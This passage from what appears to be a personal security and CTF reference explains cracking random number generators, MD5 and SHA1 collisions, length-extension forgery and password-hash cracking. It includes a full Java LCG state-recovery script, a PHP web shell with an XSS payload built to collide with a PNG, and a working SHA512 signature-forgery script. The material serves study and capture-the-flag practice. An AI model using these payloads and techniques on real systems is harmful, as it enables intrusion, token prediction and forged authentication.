<pre class="language-python" data-title="Example"><code class="lang-python">import random

with open("samples.txt", "w") as f:
<strong>    for i in range(50000):
</strong><strong>        f.write(str(random.getrandbits(8)) + "\n")
</strong>
for i in range(5):  # We will predict these
    print(random.getrandbits(8))
</code></pre>

Use `-b` to specify the number of bits per sample, and `-c` for the amount of future samples you want to predict. Then pass it a list of newline-separated samples in a file:

<pre class="language-shellscript"><code class="lang-shellscript">$ python example.py
25
233
235
54
116
<strong>$ ./fast-linear-predictor -b 8 -c 5 samples.txt
</strong>252
22
213
61
40
</code></pre>

### 32-bit seed

As specified in the [Initialization](https://en.wikipedia.org/wiki/Mersenne_Twister#Initialization) of a Mersenne Twister, a single *w-bit* seed should be used to generate all initial state values, where often `w=32`. This means there are only 4.294.967.296 possible initial state arrays, and when you have enough samples, this is simply brute forcible.

This problem was highlighted in PHP and make into a tool which cracks the seed of its `mt_rand()` function outputs, with a lot of flexibility in the samples:

{% embed url="<https://www.openwall.com/php_mt_seed/>" %}
Crack PHP's `mt_rand()` with brute force tool, also links to writeups
{% endembed %}

The [README](https://www.openwall.com/php_mt_seed/README) explains how to use its arguments, which are pretty specific. With multiple samples, the syntax is essentially as follows repeatedly:

`php_mt_seed [output_min] [output_max] [range_min] [range_max] ...`

Where the output parameters speak for themselves, and the range is `0 2147483647` by default unless another argument is given to the random function.

For other implementations that also opt for a 32-bit initial seed, and no tool exists yet, you should recreate the algorithm as efficient as possible and then compare the outputs for each seed to the samples you gathered to find when it is correct. See [#bash-usdrandom](#bash-usdrandom "mention") for a similar example.

{% hint style="info" %}
**Note**: Python's implementation is *not* *vulnerable* to this attack, because it uses a non-standard way of initializing with 624 individual 32-bit random integers ([source](https://github.com/python/cpython/blob/a025f27d94afe732be2e9e6f05b9007d04f983a8/Modules/_randommodule.c#L254-L256)). Other programming languages or libraries may do the same.
{% endhint %}

## JavaScript: `Math.random()` = xorshift128+

Javascript has a few variants per browser. Chrome, Firefox, and Safari all do slightly different things when it comes to generating random numbers. But Chrome uses V8 for JavaScript, and so does NodeJS. This makes it the biggest target.

The `Math.random()` function is not cryptographically secure, and with about 5 random numbers from it, one can crack the random state and predict future values.

[PwnFunction ](https://www.youtube.com/watch?v=-h_rj2-HP2E)made a great video explaining the attack and published a Python script that uses the Z3 solver to solve the random state and predict future numbers.

{% embed url="<https://github.com/PwnFunction/v8-randomness-predictor/blob/main/main.py>" %}
Python script that can predict V8 Math.random() after 5 inputs
{% endembed %}

```javascript
> Array.from(Array(5), Math.random)
[
  0.8971227301319089,
  0.6209246336108811,
  0.5512987330965515,
  0.4297735084849734,
  0.9373384773813349
]
// Save to 'sequence' in the Python script and run it
> Math.random()
0.446420067790525
```

**Firefox** uses a very similar generator, but as opposed to Chrome's unintuitive ordering, simply returns outputs one by one without any cache. Below is an implementation that handles their differences:

<https://gist.github.com/Yureien/b7f23039e8933bcc07d0dc61da093b29>

### Truncated samples (floored)

A more practical example is for situations where the leaked bits are truncated (eg. floored) to some smaller number of bits per sample. This could be for a simple activation code generator:

```javascript
function generateCode() {
  return Math.floor(Math.random() * 100000);
}
// Examples: [42980, 1827, 17784, 87568, 36298]
```

This code only leaks some part of the random output as it is a rounded decimal, but with this limited information, we can still efficiently solve the state as found in another piece of research with the tool below. These solutions need more samples, around 15 to be consistent. Then the solver can be run again with these inputs to predict past and future values.

See the README.md for more details, as the 64-wide cache from v8 makes it slightly confusing:

{% embed url="<https://github.com/JorianWoltjer/v8_rand_buster>" %}
Improved usability for floored `Math.random()` predictions using Z3
{% endembed %}

### In browser cross-origin with subdomain

While all frames in the browser use a unique random state, same-site pages share a global seed that can be recovered to predict other page's random state.\
This is useful if you are able to leak `Math.random()` values either through an XSS on a subdomain, or some other mechanism, and then use that to predict. Note that this is very computationally expensive, so may require local brute forcing.

{% embed url="<https://github.com/kalmarunionenctf/kalmarctf/tree/main/2025/web/spukhafte/solution>" %}
Use leaks from same-sites to predict other pages by finding a root seed in v8
{% endembed %}

## Java: `java.util.Random()` = Linear Congruential Generator

Java's random number generator uses a Linear Congruential Generator (LCG). These generators are really fast but also really insecure. The internal state is only 48 bits long and can be recovered with only a few samples. For example, it doesn't help that the `int` output values from the generator are simply the first 32 bits of the state, allowing you to brute-force the last 16 bits if you have another sample you can compare with.

This idea is explained [here ](https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html)and implemented well for a few functions that give a lot of information:

{% embed url="<https://github.com/fta2012/ReplicatedRandom>" %}
A simple Java library that automates extracting and brute-forcing the state of using big numbers
{% endembed %}

{% hint style="info" %}
For attacking general LCGs, see [this writeup](https://tailcall.net/posts/cracking-rngs-lcgs/) which shows a few different techniques depending on how much of the constants are known
{% endhint %}

### Truncated samples

The above method is possible because you get a big part of the internal state in one single number (like an `int`). But in some cases, you can't get all this information, only small numbers that are generated using a range. This is where another more involved method comes in that can analyze the patterns between numbers in order to recover the internal state.

Getting a number from the `java.util.Random()` generator works by **truncating** the state (seed) with a number of bits. If you need a 32-bit number, the first 32 bits of the seed are given and the seed rotates for the next time. If you need an 8-bit number the first 8 bits are given and the seed is rotated again. This means that using 8-bit numbers you only get a small part (top 8 bits) of the seed, and then it already rotates to the next seed. That is the problem we are trying to solve.

It turns out this can be done using [LLL Reduction](https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm), a highly useful algorithm in cryptanalysis. The math of this all is pretty complex, but implementations already exist allowing you to use them.\
[This gist](https://gist.github.com/maple3142/c7c31d2e5893d524e71eb5e12b0278f0) has a few different methods for cracking general LCGs and can be applied to Java specifically by only changing the constants.

I made [another gist](https://gist.github.com/JorianWoltjer/e10cf3235adfc47b1c6f6e90b8411fae) that is specific to Java's `Random()` class and has an easy-to-use CLI.

<details>

<summary>Information &#x26; Example</summary>

The internal seed has 48 bits, and every sample you give to the program will give some amount of bits of information. In the gist is a table to get an idea of how many samples you should provide per amount of bits in your input number.

It tries to recover the state from numbers generated using the Linear Congruential Generator (LCG) in Java. For example:

```java
Random random = new Random();

int sample = random.nextInt(256);  // Single 8-bit number
int[] samples = random.ints(8, 0, 256).toArray();  // 8x 8-bit numbers
```

The program is meant for situations where numbers returned from the generator are **small**, and can recover the state perfectly from only a few samples, cloning the generator and allowing you to generate future values beforehand.

**Warning**: This script currently only works for numbers generated with an upper bound of a power of 2. This means a number generated like `random.nextInt(256)` will work, but something like `random.nextInt(200)` likely won't. This is because, in the case of not having a power of 2, the LCG might generate multiple numbers per call, giving us an unknown amount of missing numbers in the samples.

### Example

```java
Random random = new Random(1337);

int[] samples = random.ints(8, 0, 256).toArray();  // Generate 8x 8-bit numbers to give the program
System.out.println(samples);  // { 168, 44, 176, 223, 226, 247, 230, 207 }

int[] secrets = random.ints(8, 0, 256).toArray();  // Generate 8 more secret numbers
System.out.println(secrets);  // { 44, 164, 241, 235, 37, 5, 81, 252 }
```

Now we will feed the `samples` into the Python program. The numbers are generated from 0-255, which is **8** bits:

<pre class="language-python"><code class="lang-python"><strong>Known bits: 8
</strong><strong>Input: 168, 44, 176, 223, 226, 247, 230, 207 
</strong>States found: [185753720734415, 48973695446062, 194004564009889, 246107133972888, 248619153362371, 272076196875794, 252907395951029, 228694819430428]
<strong>Guesses: [44, 164, 241, 235, 37, 5, 81, 252]
</strong></code></pre>

**Tip**: To get more control over what numbers are guessed after the state has been cracked, you can use the [`java-random`](https://github.com/MostAwesomeDude/java-random) library to clone the generator by setting its internal state to one of the found states, and then calling the function on it to extract the numbers you need.

</details>

<details>

<summary>Python Script (<code>truncated_java_random.py</code>)</summary>

{% code title="truncated\_java\_random.py" %}

```python
# Source of algorithm: https://gist.github.com/maple3142/c7c31d2e5893d524e71eb5e12b0278f0

from sage.all import *

# Constants for `java.util.Random`
BITS_TOTAL = 48
a = 0x5DEECE66D
c = 0xB

m = 2**BITS_TOTAL


class LCG:
    """Simple Linear Congruential Generator implementation"""

    def __init__(self, a, c, m, seed):
        self.a = a
        self.c = c
        self.m = m
        self.state = seed
        self.counter = 0

    def next_state(self):
        self.state = (self.a * self.state + self.c) % self.m

    def get_bits(self, n):
        return self.state >> (BITS_TOTAL - n)


def get_L(k):
    M = matrix([m])
    A = matrix([a**i for i in range(1, k)]).T
    I = matrix.identity(k - 1) * -1
    Z = matrix([0] * (k - 1))
    L = block_matrix([[M, Z], [A, I]])
    return L


def solve(truncated, bits_known):
    """Solve the truncated states in `truncated`, given `bits_known` known bits"""
    bits_unknown = BITS_TOTAL - bits_known

    K = [c]
    for i in range(1, len(truncated)):
        K.append((K[-1] + c * a**i) % m)
    K = vector(K)
    L = get_L(len(truncated))
    shifted = [(x * 2**bits_unknown - K[i]) % m for i, x in enumerate(truncated)]
    B = L.LLL()
    sys = vector(shifted)
    sby = B * sys
    ks = vector(round(x) for x in sby / m)
    zs = B.solve_right(ks * m - sby)
    tmp = sys + zs
    results = [(tmp[i] + K[i]) % m for i in range(len(tmp))]
    assert (L * vector(results)) % m == (L * K) % m  # Extra checking

    return results


def java_to_python(n):
    """Convert a Java integer to Python integer"""
    return n if n >= 0 else n + 2**32


def python_to_java(n):
    """Convert a Python integer to Java integer"""
    return n if n < 2**31 else n - 2**32


if __name__ == "__main__":
    from colorama import Fore, Style

    n_bits = int(input(f"Known bits: {Fore.LIGHTBLUE_EX}"))
    print(Style.RESET_ALL, end="")

    # Get user input
    truncated = [
        java_to_python(int(n)) for n in input(f"Input: {Fore.LIGHTGREEN_EX}").split(",")
    ]
    print(Style.RESET_ALL, end="")

    # Solve
    results = solve(truncated, n_bits)
    print(f"{Fore.LIGHTBLACK_EX}States found: {results}{Style.RESET_ALL}")

    # Create a clone
    clone = LCG(a, c, m, results[-1])

    guesses = []
    for _ in range(len(truncated)):
        clone.next_state()
        guesses.append(python_to_java(clone.get_bits(n_bits)))

    print(f"Guesses: {Fore.LIGHTRED_EX}{guesses}{Style.RESET_ALL}")
```

{% endcode %}

</details>

## Bash: `$RANDOM`

The `bash` shell has a dynamic variable called `$RANDOM` you can access at any time to receive a random 15-bit number:

```shell-session
$ echo $RANDOM $RANDOM $RANDOM
3916 29151 6095
```

To seed this random number generator, it can be set directly to get the same values every time:

```shell-session
$ RANDOM=1337; echo $RANDOM $RANDOM $RANDOM
24879 21848 15683
$ RANDOM=1337; echo $RANDOM $RANDOM $RANDOM
24879 21848 15683
```

There are **2 different calculations** depending on your **bash version**, which may make one seed give two different outputs.

The algorithm works by iterating a 32-bit integer internal seed every time you access it. This means that if you can sync up with the seed, you can predict all future values of the variable. Luckily, the calculations the algorithm performs are very fast meaning it is easy to try every possible 32-bit seed and compare the results with your expected values.

I looked at the bash source code to find out how it exactly works, and created a tool that uses the above idea to brute-force every seed in only a few seconds, supporting both bash versions:

{% embed url="<https://github.com/JorianWoltjer/BashRandomCracker>" %}
Crack Bash's `$RANDOM` variable to get the internal seed and predict future values, after only 2-3 samples
{% endembed %}


# Hashing

One-way functions that generate a unique hash of some data

## # Related Pages

{% content-ref url="/pages/O8qJJ4F6O6m8Kozm0ZvF" %}
[Cracking Hashes](/cryptography/hashing/cracking-hashes)
{% endcontent-ref %}

{% content-ref url="/pages/6ko2efKEtTsrwKoUhilt" %}
[Cracking Signatures](/cryptography/hashing/cracking-signatures)
{% endcontent-ref %}

## Collisions

Collisions in hashing functions mean multiple different inputs result in the same hash. In a perfect hash function, this should not be feasible. There are a few types of collisions with varying exploitability:

* **Identical Prefix**: The prefix of two files are the same, then there are a few collision blocks with different data\
  ![](/files/yfegghHmskRNty3Ev9dt)
* **Chosen Prefix**: The prefix of the two files can be anything you want, and may differ. Then after there are some collision blocks, and finally it ends in an identical suffix\
  ![](/files/HnW8TvlaYFXFzwaCSxi1)

For lots of details on how these attacks work and how to exploit them see the following GitHub repository:

{% embed url="<https://github.com/corkami/collisions>" %}

### MD5 - Identical Prefix

When looking at collisions MD5 is very broken. Nowadays it's trivial to create your own Identical Prefix attack within minutes. We can use a tool like HashClash with very efficient code to do the work for us:

{% embed url="<https://github.com/cr-marcstevens/hashclash>" %}
HashClash is a toolset allowing you to make your own hash collisions
{% endembed %}

With MD5 you can create any identical blocks consisting of 64 bytes as the prefix, then two collision blocks that differ, and finally any identical suffix.

An example of two files you could create with this is the following:

{% file src="/files/xKDBzWvy3ApLP7xO8559" %}
First file with 3630 and 93fe in collision blocks
{% endfile %}

{% file src="/files/WX3zrYa5sMxHV66fJXy4" %}
Second file with 3631 and 93fd in collision blocks
{% endfile %}

{% code title="Difference between collisions" %}

```html
collision1_extra.bin                              collision2_extra.bin
000: 4141 4141 4141 4141  4141 4141 4141 4141  |  4141 4141 4141 4141  4141 4141 4141 4141
...
0b0: 4343 4343 4343 4343  4343 4343 4343 4343  |  4343 4343 4343 4343  4343 4343 4343 4343
0c0: 7465 7374 54ea 9808<!3630>b09d 3d43 6180  |  7465 7374 54ea 9808<!3631>b09d 3d43 6180
0d0: b422 b9a7 5623 4eb5  f058 193f 3bb0 1a42  |  b422 b9a7 5623 4eb5  f058 193f 3bb0 1a42
0e0: c07e 6126 3822 d79a  48f1 e021 06bb 79b9  |  c07e 6126 3822 d79a  48f1 e021 06bb 79b9
0f0: caac ddbd d237 ee6e  6cfd ea0c 388c 089f  |  caac ddbd d237 ee6e  6cfd ea0c 388c 089f
100: 9af5 2e5f f819 769d<!93fe>52ab 6c09 278d  |  9af5 2e5f f819 769d<!93fd>52ab 6c09 278d
110: 8a95 8786 b562 bbf7  669e 1a6f 45de 5859  |  8a95 8786 b562 bbf7  669e 1a6f 45de 5859
120: d534 15f5 e8fb 559e  3969 1590 1e22 f779  |  d534 15f5 e8fb 559e  3969 1590 1e22 f779
130: 787e 315b f744 94d6  e53d a228 8fd0 6678  |  787e 315b f744 94d6  e53d a228 8fd0 6678
140: 4444 4444 4444 4444  4444 4444 4444 4444  |  4444 4444 4444 4444  4444 4444 4444 4444
...
1f0: 4646 4646 4646 4646  4646 4646 4646 4646  |  4646 4646 4646 4646  4646 4646 4646 4646
```

{% endcode %}

To create such a file you can use the [generic\_ipc.sh](https://github.com/cr-marcstevens/hashclash/blob/892f02e6e1faf71c4ae70ad98a98cc707d6ac664/scripts/generic_ipc.sh) script from the HashClash repository. It takes one argument which is the prefix for the collision. It can contain:

* Any exact multiple of 64 bytes, as the identical prefix
* A multiple of 4 bytes, with a maximum of 12 bytes in total. These will be the starting bytes for the collision blocks

In the example above I used a file containing `"A"*64 + "B"*64 + "C"*64 + "test"` as the prefix. This will make sure the identical prefix starts with AAA...CCC and the collision blocks start with "test".\
Then after this, I added `"D"*64 + "E"*64 + "F"*64` to the generated collisions because any data after will only change the hash, but the collision will remain.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ python3 -c 'print("A"*64 + "B"*64 + "C"*64 + "test", end="")' > prefix  # Create prefix
</strong><strong>$ ../scripts/poc_no.sh prefix  # Do collision (takes a few minutes)
</strong>...
<strong>$ md5sum collision*.bin  # MD5 sums are the same
</strong>a83232a6730cdd6102d002e31ffd1c3f  collision1.bin
a83232a6730cdd6102d002e31ffd1c3f  collision2.bin
# # Append data to collisions
<strong>$ cat collision1.bin &#x3C;(python3 -c 'print("D"*64 + "E"*64 + "F"*64, end="")') > collision1_extra.bin
</strong><strong>$ cat collision2.bin &#x3C;(python3 -c 'print("D"*64 + "E"*64 + "F"*64, end="")') > collision2_extra.bin
</strong><strong>$ md5sum collision*_extra.bin  # MD5 sums still match
</strong>e8842904b573ed3cd545a5b116f70af8  collision1_extra.bin
e8842904b573ed3cd545a5b116f70af8  collision2_extra.bin
</code></pre>

### MD5 - Chosen Prefix

The chosen prefix attack is a lot more powerful but also takes quite a bit longer to compute. It takes about one day to do one collision between files, depending on your computer.

With such a collision you could make two completely different files have the same md5 sum, only having a few collision blocks at the end, and allowing an identical suffix.

To create a collision like this, you could use the [cpc.sh](https://github.com/cr-marcstevens/hashclash/blob/master/scripts/cpc.sh) script from HashClash. It takes two different prefix files as input and creates two files with those prefixes and some collisions block appended. Then you can manually add an identical suffix to it later because the collision will remain.

I've let a VPS with 24 cores run for 1.5 days to find a chosen-prefix collision like this. I chose one prefix of a simple 256x256 png image, and the other prefix to be an XSS and PHP shell payload. So I could leave the terminal and look back at it later I used the `screen` command to start a session, and used `screen -r` every once in a while to check back into it. Another way would be to redirect the output to some log file to check.

```shell-session
# # From hashclash clone (and build)
$ mkdir workdir && cd workdir
$ ../scripts/cpc.sh 256.png prefix.php  # Takes a long time
```

The cpc.sh script will then find a collision by appending collision blocks to both prefixes, which is why I added a `<!--` comment tag to the shell, and I made sure to add the `IEND` and CRC to the PNG image to signify the end of the PNG. Some tools like [`pngcheck`](http://www.libpng.org/pub/png/apps/pngcheck.html) complain about data after the `IEND`, but all other things I've tried parse the PNG completely fine. Here are the original prefixes:

{% code title="256.png (156 bytes)" %}

```python
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 89 50 4e 47 0d 0a 1a 0a ┊ 00 00 00 0d 49 48 44 52 │×PNG__•_┊000_IHDR│
│00000010│ 00 00 01 00 00 00 01 00 ┊ 08 03 00 00 00 6b ac 58 │00•000•0┊••000k×X│
│00000020│ 54 00 00 00 03 50 4c 54 ┊ 45 ac c8 f2 27 88 57 a8 │T000•PLT┊E×××'×W×│
│00000030│ 00 00 00 54 49 44 41 54 ┊ 78 9c ed c1 01 01 00 00 │000TIDAT┊x×××••00│
│00000040│ 00 80 90 fe af ee 08 0a ┊ 00 00 00 00 00 00 00 00 │0×××××•_┊00000000│
│00000050│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│
│*       │                         ┊                         │        ┊        │
│00000080│ 00 00 00 00 00 00 00 18 ┊ 01 0f 00 01 4d f6 ca 06 │0000000•┊••0•M××•│
│00000090│ 00 00 00 00 49 45 4e 44 ┊ ae 42 60 82             │0000IEND┊×B`×    │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
```

{% endcode %}

{% code title="shell.php (156 bytes)" %}

```php
<script>eval(location.hash.substring(1)||"alert(document.domain)")</script>
<pre><code>
<?php
system($_GET["cmd"]);
// PoC by J0R1AN
?>
</code></pre>
<!--
```

{% endcode %}

Then after the collision, there were 9 blocks of 64 bytes added. You can see the raw collision files below:

{% file src="/files/3shquwmbHZBTZ5WkirZH" %}
256x256 PNG image with md5: 365010576ad9921c55940b36b9d3e0ca
{% endfile %}

{% file src="/files/nHGQTzlkStVyDZBvxCns" %}
An XSS and PHP shell with md5: 365010576ad9921c55940b36b9d3e0ca
{% endfile %}

### MD5 - ASCII Collision

In March 2024, Marc Stevens [shared on Twitter](https://x.com/realhashbreaker/status/1770161965006008570) a proof of concept for two alphanumeric strings that hash to the same value. Previously, this was only ever done with random bytes as shown in the paragraphs above.

```python
"TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak"
-> faad49866e9498fc1719f5289e7a0269
"TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak"
-> faad49866e9498fc1719f5289e7a0269
                      ^ A = E
```

The [textcoll.sh](https://github.com/cr-marcstevens/hashclash/blob/master/scripts/textcoll.sh) script allows you to generate such collisions yourself. There is a surprising amount of control possible with the prefix and around the +4 byte in the 21st place. To configure it, the global variables can be changed, and an optional prefix file is given as the first argument.

* `ALPHABET` will choose what random characters an attempt may contain.
* `FIRSTBLOCKBYTES` will force certain byte positions in the first collision block (64 bytes) of the collision. **Byte 21** here will become the collision difference and gets +4 added in the other string. While it does not matter for the value before, the value after +4 must be within the `ALPHABET`.
* `SECONDBLOCKBYTES` will force certain byte positions in the second collision block. These will be identical for both strings, but can otherwise contain random characters from the `ALPHABET`. It can be commented out to be faster.
* `argv[1]` will optionally be a file used as the prefix blocks when searching for a collision. This does not impact performance. Make sure its length is aligned to 64 bytes.

The code below can be used to quickly generate correct `...BLOCKBYTES` variables at a certain position. Keep in mind that you can add multiple characters to a single byte to make it more flexible and faster to compute. This can be useful if you don't care about casing, for example.

```python
s = "j0r1an"  # Forced string
o = 0         # Offset

b = [f"\\{c}" if c in '$`"\\' else c for c in s]
print(f'"{" ".join(f"--byte{i+o} {c}" for i, c in enumerate(b))}"')
# "--byte0 j --byte1 0 --byte2 r --byte3 1 --byte4 a --byte5 n"
```

In the [GoogleCTF 2024 - pycalc](https://github.com/google/google-ctf/tree/main/2024/quals/misc-pycalc) challenge, the player was required to make two Python payloads of the same MD5 hash where one is benign and the other is malicious. There was a strict sandbox that only allowed simple calculation or string concatenation. By changing a `"` to `&` using the +4 on the 21st byte, it was possible to end a string in one payload, while continuing it in the other. This separates the code flow and allows one payload to be a simple string, while the other executes any code.

The exploit idea looks like this:

<figure><img src="/files/dwb3CMGTRGXYBNqnfI6X" alt="" width="563"><figcaption></figcaption></figure>

This can be configured in hashclash with the following variables:

{% code title="textcoll.sh" %}

```bash
ALPHABET="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.,_-~=+:;|?@#^&*(){}[]<>"
FIRSTBLOCKBYTES="--byte0 \" --byte21 \"& --byte22 '"
#SECONDBLOCKBYTES=''
```

{% endcode %}

After a few hours, you should get lucky and find a collision like the following:

```
")7=P-R@9,l3N+k{sbDhZ"'ipsT0H[Aaa)E)o#wV::77)9xZb??;m**prDkasE|V9F-N(M&;N{Vn@=ea^3=Xrl-qq6Muj62_l@iM@gNST(q{i}O>U|mN##*#I###ak?N
")7=P-R@9,l3N+k{sbDhZ&'ipsT0H[Aaa)E)o#wV::77)9xZb??;m**prDkasE|V9F-N(M&;N{Vn@=ea^3=Xrl-qq6Muj62_l@iM@gNST(q{i}O>U|mN##*#I###ak?N
^                    ^^
```

More blocks can now be added to these two strings while maintaining the same hash:

{% code title="Beneign payload" overflow="wrap" %}

```python
")7=P-R@9,l3N+k{sbDhZ&'ipsT0H[Aaa)E)o#wV::77)9xZb??;m**prDkasE|V9F-N(M&;N{Vn@=ea^3=Xrl-qq6Muj62_l@iM@gNST(q{i}O>U|mN##*#I###ak?N';print(1337)#"
```

{% endcode %}

{% code title="Malicious payload" overflow="wrap" %}

```python
")7=P-R@9,l3N+k{sbDhZ"'ipsT0H[Aaa)E)o#wV::77)9xZb??;m**prDkasE|V9F-N(M&;N{Vn@=ea^3=Xrl-qq6Muj62_l@iM@gNST(q{i}O>U|mN##*#I###ak?N';print(1337)#"
```

{% endcode %}

### SHA1

Google Research has found an identical prefix collision in the SHA1 hashing algorithm, and so far is the only one to do so. It still takes 110 years of single-GPU computations to compute a collision yourself, so the only practical way right now is to use the prefix from Google.

{% embed url="<https://shattered.io/>" %}
Website from Google Research going over the details of this SHA1 collision
{% endembed %}

SHA1 works by splitting the input into blocks of 512 bits (64 bytes). For every block, it does its operations, and if the two blocks are the same, the two outputs of that block are the same. It keeps going taking the previous block and continuing on it with the next block.

A collision in SHA1 means that there were 2 sets of 5 blocks (320 bytes) found, that when SHA1 hashed give the same hash, while actually being different.

Because of the way SHA1 works, we can start off by using the first 5 blocks from SHAttered, and then if the rest of the files have identical content, their hashes will be the same.

To get different behavior from the two files, a common idea is to check if a certain byte that is different in the collision blocks. This way both files contain both pieces of code, but only one is chosen in both.

```python
if data[102] == 115:
    # Do one thing
else:
    # Do something else
```

In HTML, this can be done by looking at the `innerHTML` with `charCodeAt(102)` in JavaScript. For a simple example see:

1. <https://arw.me/f/1.html>
2. <https://arw.me/f/2.html>

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ wget https://arw.me/f/1.html &#x26;&#x26; wget https://arw.me/f/2.html
</strong><strong>$ sha1sum 1.html 2.html  # SHA1 collision
</strong>ba97502d759d58f91ed212d7c981e0cfdfb70eef  1.html
ba97502d759d58f91ed212d7c981e0cfdfb70eef  2.html
<strong>$ sha256sum 1.html 2.html  # SHA256 does not match
</strong>4477a514fa5e948d69e064a4e00378c69262e32e36c079b76226ae50e3d312cf  1.html
71c484897c7af6cb34cffa8f7c12dc3bf7fc834ed7f57123e21258d2f3fc4ba6  2.html
</code></pre>

## Length-extension Attack

Hashing algorithms are sometimes used for verifying messages. This can be done by appending a secret "salt" value in front of the data that only the server knows. If the server then generates a hash of this value, it is the only party that is able to do so. If you don't have the salt value you cannot generate a hash that starts with that salt.

But the length-extension attack makes this semi-possible. It allows you to add data to an existing hash, with the catch that there will be some data prepended to your addition.

Hashing functions like SHA256 or SHA512 might sound secure, but without proper precautions to this attack, they may be vulnerable to it. The following hashing algorithms are all vulnerable to this attack:

* MD4
* MD5
* RIPEMD-160
* SHA-0
* SHA-1
* SHA-256
* SHA-512
* WHIRLPOOL

To see an example of this attack look at the script below:

```python
import hashlib
import os
from hashpumpy import hashpump

SALT = os.urandom(42)  # Secret

def check_signature(data, signature):
    if hashlib.sha512(SALT + data).hexdigest() == signature:
        return True

def create_sample_signature():
    data = b"name=j0r1an&admin=false"
    signature = hashlib.sha512(SALT + data).hexdigest()

    return data, signature


# Get sample
original_data, original_sig = create_sample_signature()
print(original_data, original_sig)
print("Sample:", check_signature(original_data, original_sig))

# Attack
data_to_add = b"&admin=true"
salt_length = 42  # Can be brute-forced by trying multiple values

forged_sig, forged_data = hashpump(original_sig, original_data, data_to_add, salt_length)
print(forged_data, forged_sig)
print("Attack:", check_signature(forged_data, forged_sig))
# b'name=j0r1an&admin=false\x80\x00\x00...\x00\x00\x00\x02\x08&admin=true'
```

I also made a writeup of a challenge that uses this attack to perform SQL Injection:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/cyber-santa-is-coming-to-town-2021/warehouse-maintenance>" %}
A writeup of a challenge using the length-extension attack on SHA512 to perform SQL Injection
{% endembed %}


# Cracking Hashes

The point of hashes are that you can't reverse them, but we can sometimes find the original text by brute-forcing

To automatically recognize and crack all kinds of hashes I made a cracking module part of my default tool:

{% embed url="<https://github.com/JorianWoltjer/default>" %}
My big tool containing a module for cracking hashes
{% endembed %}

## Password Hashes

A secure application should store any passwords using a hashing function. This is because the application does not need to know the exact password you set, only if it is the same one you put in when you created your account. Because of this, the application can store a scrambled password which is the hash and cannot be reversed back into the original password.

The only way to try and get back the original text from a hash, is to try lots of possible values for the original text until it matches te hash. But of course you would need to have a list that contains the original text. This is known as brute-forcing or cracking a hash.

There are a lot of different hashing functions that all have some differences. The biggest difference for cracking is the speed of the hashing function. The faster you can generate a hash, the faster you can try passwords to see if they generate the same hash. Here are some common hashes with their average speed on my RTX 2060 laptop with [#hashcat](#hashcat "mention"):

<table><thead><tr><th>Hash function</th><th width="199.33333333333331">Speed</th><th>Time per 1.000.000.000</th></tr></thead><tbody><tr><td>Bcrypt ($2*$)</td><td>12 KH/s</td><td>23 hours</td></tr><tr><td>SHA512-crypt ($6$)</td><td>38 KH/s</td><td>7.3 hours</td></tr><tr><td>SHA1</td><td>4 GH/s</td><td>0.25 seconds</td></tr><tr><td>MD5</td><td>7.5 GH/s</td><td>0.133 seconds</td></tr><tr><td>NTLM</td><td>9.5 GH/s</td><td>0.105 seconds</td></tr></tbody></table>

Yes, you read that right. With today's computers, you can generate a billion MD5 or NT hashes in a tenth of a second. That's why it is important to use intentionally slow algorithms like Bcrypt which are a lot harder to brute-force.

## Converting hash formats

Different applications and files have different formats to store hashes. Two common tools for cracking hashes are [#john-the-ripper](#john-the-ripper "mention") and [#hashcat](#hashcat "mention"). These tools have different formats for some hashes, so they might need to be converted.

Hashcat has made a great list of example hashes to see what they all look like:

{% embed url="<https://hashcat.net/wiki/doku.php?id=example_hashes>" %}
A list of example hashes with their name and hashcat mode
{% endembed %}

When comparing the two you'll find that john often has a few different possible ways to represent a hash. Sometimes including the filename or username in the hash as well. But with Hashcat the hash often needs to be completely stripped down. Take the PKZIP hash for example:

```
John: test.zip/flag.txt:$pkzip$1*2*2*0*11*5*22dc8822*0*42*0*11*55ee*bfcbf39396ab87b78eb574a02dd5020f23*$/pkzip$:flag.txt:test.zip::test.zip
Hashcat:                $pkzip$1*2*2*0*11*5*22dc8822*0*42*0*11*55ee*bfcbf39396ab87b78eb574a02dd5020f23*$/pkzip$
```

Sometimes you also need to **extract** a hash from a password-protected ZIP file for example. This is where John has a lot of useful tools. In the [`john/run`](https://github.com/openwall/john/tree/bleeding-jumbo/run) directory of your John the Ripper installation, there should be a lot of scripts and programs that allow you to convert certain files to the john format. For `.zip` archives there is the `zip2john` utility:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ zip2john test.zip
</strong>ver 1.0 efh 5455 efh 7875 test.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=17, decmplen=5, crc=22DC8822 ts=55EE cs=55ee type=0
test.zip/flag.txt:$pkzip$1*2*2*0*11*5*22dc8822*0*42*0*11*55ee*bfcbf39396ab87b78eb574a02dd5020f23*$/pkzip$:flag.txt:test.zip::test.zip
<strong>$ zip2john test.zip > john.hash
</strong><strong>$ cat john.hash
</strong>test.zip/flag.txt:$pkzip$1*2*2*0*11*5*22dc8822*0*42*0*11*55ee*bfcbf39396ab87b78eb574a02dd5020f23*$/pkzip$:flag.txt:test.zip::test.zip
</code></pre>

There are a lot of files that can be converted to john like this, just find one for the file format you need and convert it using the script.

You can also use John to convert the hashes from a file, and then actually crack them with **Hashcat**. As stated above hashcat has a slightly different hash format, but from what I've found it's almost always just splitting the john hash by `:` colons and then taking the second part. That way you're only getting the hash without any other information.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ cat john.hash | awk -F: '{print $2}' > hashcat.hash
</strong><strong>$ cat hashcat.hash
</strong>$pkzip$1*2*2*0*11*5*22dc8822*0*42*0*11*55ee*bfcbf39396ab87b78eb574a02dd5020f23*$/pkzip$
</code></pre>

